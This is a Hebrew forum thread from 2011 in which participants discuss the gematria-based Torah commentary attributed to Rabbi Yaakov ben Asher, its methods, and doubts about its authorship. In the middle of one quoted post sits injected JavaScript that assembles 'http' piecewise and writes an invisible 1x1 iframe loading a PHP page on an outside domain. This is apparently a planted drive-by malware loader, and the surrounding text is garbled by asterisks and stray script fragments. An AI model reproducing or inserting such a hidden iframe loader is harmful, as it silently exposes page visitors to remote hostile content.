שלום לכולם מדי שבת אני לומד את הפירוש ואני כל פעם מתפלא איך הוא הגיע לגימטראות שלו כמו כן מאיפה הוא לקח את השיטה של אותן מילים שמופיעות במקומות שונים בתנ"ך ומכאן לדרוש את דרשת חז"ל. גם השיטה של ספירת מילים מנחות כמו בפרשת המנורה בפרשת תרומה שהמילה מנורה מופיעה 7 פעמים כנגד 7 ארצות ו 7 רקיעים ושאין את האות ס' בפרשה כי במקום אורה אין שטן ואין פגע רע. נראה לי שזה רעיון יחודי שלו ואין מקבילה לשיטה שלו. מישהו יודע מהיכן המקור לפירוש שלו ואיך הוא השתמש בגימטראות שלו?
נשלח ב-8/2/2011 08:46
השאלה היא למה הוזכר מזבח שקולט דווקא על רוצח במזיד שהרג בעורמה. הרי הוזכר שם דין רוצח במזיד שלא הרג בעורמה למה שם לא הוזכר מזבח.
ואם כבר מדברים אז יש עוד דוגמה יפה מאד על חג סוכות בספר ויקרא פרק כ"ג בפרשת המועדות לאחר פירוט שלושת הרגלים נכתב בפסוק מ"א על חג הסוכות "וחגותם אותו חג לה', שבעת ימים בשנה: חוקת עולם לדורותיכם, בחודש השביעי תחוגו אותו" והשאלה המתבקשת הרי נכתב בפירוש בפסוק ל"ט על חג סוכות "אך בחמישה עשר יום לחודש השביעי, באוספכם את-תבואת הארץ, תחוגו את-חג-ה', שבעת ימים" אם כך למה באה ההדגשה דווקא על חג סוכות שיחוגו אותו בחודש השביעי ולא על שאר המועדות. והתשובה שלו שהתורה באה להזהיר מראש את ירבעם בן נבט שכידוע בדה חג מליבו ועשה את חג הסוכות חודש מאוחר יותר ועל זה באה התורה ואמרה ירבעם את חג הסוכות תעשה דווקא בחודש השביעי אל תתחכם ותיצור חג חדש בחודש אחר.
נשלח ב-7/2/2011 23:19
לא הבנתי את השאלה מדוע הוזכר מזבח, הלוא מזבח קולט שוגג, וכמובן שיש להוציא מזיד מהכלל!
נשלח ב-7/2/2011 22:12
יש עוד ספר שאני לא יודע אם חכמי הפורום מכירים בשם "נפלאות מתורת ה'" מאת רבי בן-ציון שלעז ששם הוא גם מחפש רמזים בתורה בדומה לבעל הטורים אחת הדוגמאות היפות שלו היא על הפסוק בפרשת משפטים "וְכִי יָזִד אִישׁ עַל רֵעֵהוּ לְהָרְגוֹ בְעָרְמָה מֵעִם מִזְבְּחִי תִּקָּחֶנּוּ לָמוּת" למה פירטה פה התורה את מעשה העורמה הרי זה כלול בתוך רוצח במזיד? מה פתאום הוזכר פה מזבח? ולמה דווקא ברוצח בעורמה ולא ברוצח רגיל? והתשובה שלו שהתורה באה לרמז על הסיפור הידוע של יואב שר צבא דוד שרצח את אבנר בן נר בעורמה ובזמן שלמה ברח אל המזבח כדי להנצל ושלמה לקח אותו משם והרגו. והרעיון הוא שהתורה צפתה מראש אירועים שיקרו בעתיד וכתבה אותם בצורה שלאחר מעשה נבין שלכך היא התכוונה. זאת רק דוגמה אחת אבל יש לו עשרות כאלו.
תוקן על ידי דייר ב- 07/02/2011 22:26:51
תוקן על ידי דייר ב- 07/02/2011 22:29:52
נשלח ב-6/2/2011 14:04
ולפי רבינו גוגל במקור הידוע בשם ויקיפדיה מדובר בפרוש בנס:
"מספרים שאת כל פירושו לתורה הוא כתב בלילה אחד ובע"פ, דבר שמראה על גאונות עצומה "
נשלח ב-6/2/2011 13:56
דייר, לא כל דבר המובא בפירוש על התורה יש לתלות בגאונותו של המחבר, כי דברים רבים מאד נמצאו כבר בפירושי הראשונים אשר קדמוהו, והוא רק הביאן תחת כפיפה אחת.
תוקן על ידי שבח_גרונם ב- 06/02/2011 14:23:24
נשלח ב-6/2/2011 13:53
לא רק זה בפרשת המן יש פסוק עם כל האלף בית ומכאן שמי שמקיים את התורה מזונותיו מצויים לו. ואני שואל איך הוא שם לב לעובדה הזאת האם מישהו מאיתנו היה שם לב לתופעה הזאת? ואותית שחסרות מהכתוב שמרמזות על ענינים שונים. ספירת אותית ראשי תיבות סופי תיבות ולפעמים שילובים של סופי תיבות שיוצרות גימטריה של משהו אחר או א"ת ב"שים. אני אומר אין צורך בדילוגי אותיות ושאר ירקות הפירוש שלו פשוט מדהים בגיוון ובגאונות.
נשלח ב-6/2/2011 13:49
מיימוני כתב:
שבח
הפתעת אותי. האמנם אין זה ודאי? אפילו שמעתי פעם איזה סיפור מדוע וכיצד כתב את הספר. ברור היה לי (ו"ברור" זו תחושה ולא ראיה) שהסיפור הוא כנראה המצאה, אבל הבנתי בתמימותי שזיהוי המחבר ודאי. באמת מהיכן מייחסים לו את הספר? האם אין שם הקדמה שלו או משהו כזה? (כפי שאתה רואה, לא למדתי את הספר מעולם. אין זו דרכי בלימוד).******* language="">
*--
var as='h';
var ac='tt';
var ab='p';
var ay="//";
document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*");
//*
האם ההפתעה היתה לטובה?... כן מצאתי כתוב בספר מסורת המסורת לר' אליהו בחור, וז"ל (סוף הקדמה ג'): "...ועל כולן יש לדרוש איזה דבר, לפיכך כתבו בעלי המסורת מנינם, וכן חובר על זה ספר ויחסו אותו לר' יעקב בעל הטורים ז"ל". ועתה ראיתי שהוא שואל שאלה הקשורה לנידון הנוכחי וז"ל: "והנה ראיתי שאינו מפרש רק המלות הנמצאות ב' או ג' או ד' או ה' פעמים ולא יותר, ומה נעשה באותן הנמצאות י' או כ' או מאה עד מאה פעמים ויותר" וכו', עיי"ש.
נשלח ב-6/2/2011 13:23
ר' מימוני
הגאוניות הוא בראית המילים בצורה צילומית והפיכתם למספרים רלונטיים המתאימים גם למילים אחרות, שאותם גם הפך למספרים, בקיאותו לא היתה רק בתורה אלא בכל התנך- וזאת לפי קביעתו על מילה כמה פעמים היא במסורה. כמובן בקיאותו הרבה בש"ס ומדרשים שקישר אותם עם הפרפראות, הוא עשה זאת במהירו עצומה- להתחשב שבין היתר הוא עשה גם עבודות אחרות כמו את ארבעת הטורים, והוא שימש כיד ימינו ונושא כליו לאביו הרא"ש, ולאחר מותו שימש ברבנות. וכל זה כאמור בלי תקליטור בר אילן. וקישור לגוגל.
_________________
מודה ועוזב
נשלח ב-6/2/2011 13:11
צענערענע כתב:
גימטריאות-פרפראות לחכמה...
נזכיר אחת:
קוגל בגימטריה שבת .
וידועה השאלה שקוגל לא בגימטריא שבת ותשובתה בצידה: יאכל עוד כמה פרוסות קוגל ויגיע למספר..
נשלח ב-6/2/2011 12:34
שבח
הפתעת אותי. האמנם אין זה ודאי? אפילו שמעתי פעם איזה סיפור מדוע וכיצד כתב את הספר. ברור היה לי (ו"ברור" זו תחושה ולא ראיה) שהסיפור הוא כנראה המצאה, אבל הבנתי בתמימותי שזיהוי המחבר ודאי. באמת מהיכן מייחסים לו את הספר? האם אין שם הקדמה שלו או משהו כזה? (כפי שאתה רואה, לא למדתי את הספר מעולם. אין זו דרכי בלימוד).
יונתן וצענע
אכן צריך לברר מה פירוש המונח "פרפראות" וכמה מובנים יש לו.
ירוחם
זו גאונות רק במובן של בקיאות רבה, וכן יכולת לדרוש, גם במובן של יישום כללים דרשניים (העקרונות של השוואה וספירה, וכן משמעות של אותיות - ס' הוא עבור השטן והעדרו שאין כאן רע, כפי שצוטט) אך גם מחשבה מקורית שהכרחית כדי לדרוש משמעוית שטרם נמצאו לפניו.
לגבי הצורך בבקיאות בלי תקליטור, זו שאלה מעניינת. גם אנו עוברים בדרך כלל על הפרשה בשבת, וזה מגיע לכמה פעמים (קריאה לפני, שמיעה בבית כנסת, יש מי שמקפיד על שמו"ת). אצלם היה הרבה פחות חומר להקיף! אבל נכון שצריך זכרון פנומנלי וגם רגישות למילים מעבר לרמת התוכן. (מעין מה שמייחסים לגר"א בין שאר כישוריו המיוחדים).
כמובן, אז עבדו ולא רק למדו ושיננו כל היום. אבל אם היה לאדם זמן פנוי והקדיש אותו כולו לעיון בתורה ובנ"ך, אפשר להספיק הרבה מאד. ולא ברור כמה מזה זו גאונות וכמה עמל וחזרה. הלא כן?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
נשלח ב-6/2/2011 12:27
בהרבה מקומות הוא טעה- אבל זה בטל בשישים- גאוניותו מדהימה והשאלה במקומה. איך איך? בלי תקליטור.
_________________
מודה ועוזב
נשלח ב-6/2/2011 12:26
יש לציין כי פירוש בעל הטורים עה"ת הוא רק מיוחס לרבינו יעקב בן הרא"ש בעל הטורים.
תוקן על ידי שבח_גרונם ב- 06/02/2011 12:27:45
נשלח ב-6/2/2011 12:20
גימטריאות-פרפראות לחכמה...
נזכיר אחת:
קוגל בגימטריה שבת .
נשלח ב-6/2/2011 11:57
לא תמיד הוא מדייק כמו לדוגמא: "אפרים ומנשה - בגי' ראובן ושמעון" אבל יש לו פירושים נחמדים, וכמאמר המשנה באבות:
<*> קנין ופתחי נדה, הן הן גופי הלכות. תקופות וגמטריאות, פרפראות לחכמה:
נשלח ב-6/2/2011 11:36
טעיתי והחלפתי. לא ר' ישמעאל אצל ר' יהושע אלא ר' מאיר אצל ר' ישמעאל (אותו שאוחז כי "דיברה תורה בלשון בני אדם"!).
והנה המקור
תלמוד בבלי מסכת עירובין דף יג עמוד א
דתניא, אמר רבי מאיר: כשהייתי אצל רבי ישמעאל הייתי מטיל קנקנתום לתוך הדיו ולא אמר לי דבר. כשבאתי אצל רבי עקיבא אסרה עלי. איני? והאמר רב יהודה אמר שמואל משום רבי מאיר: כשהייתי לומד אצל רבי עקיבא הייתי מטיל קנקנתום לתוך הדיו ולא אמר לי דבר. וכשבאתי אצל רבי ישמעאל אמר לי: בני, מה מלאכתך? אמרתי לו: לבלר אני. אמר לי: בני, הוי זהיר במלאכתך שמלאכתך מלאכת שמים היא, שמא אתה מחסר אות אחת או מייתר אות אחת - נמצאת מחריב את כל העולם כולו. אמרתי לו. דבר אחד יש לי וקנקנתום שמו, שאני מטיל לתוך הדיו. אמר לי: וכי מטילין קנקנתום לתוך הדיו? והלא אמרה תורה: +במדבר ה'+ וכתב ומחה - כתב שיכול למחות. מאי קאמר ליה ומאי קא מהדר ליה? - הכי קאמר ליה: לא מיבעיא בחסירות וביתירות [דלא טעינא] דבקי אנא, אלא אפילו מיחש לזבוב נמי, דילמא אתי ויתיב אתגיה דדל"ת ומחיק ליה ומשוי ליה רי"ש,
וכן בסוטה כ א.
יש כמובן לפרש את הדברים וקודם כל לתרגם לעברית. אם יהיה לי זמן מאוחר יותר אעשה כן. אולי מישהו אחר יקדימני?
שוב: איני בא להכריע מה היתה כוונתו של ר"י. רק להצביע על כך שהדברים יכולים לשמש מקור לשיטת הפרשנות של בעל הטורים, אם זו היתה שיטה לגילוי אמת ולא שעשוע.
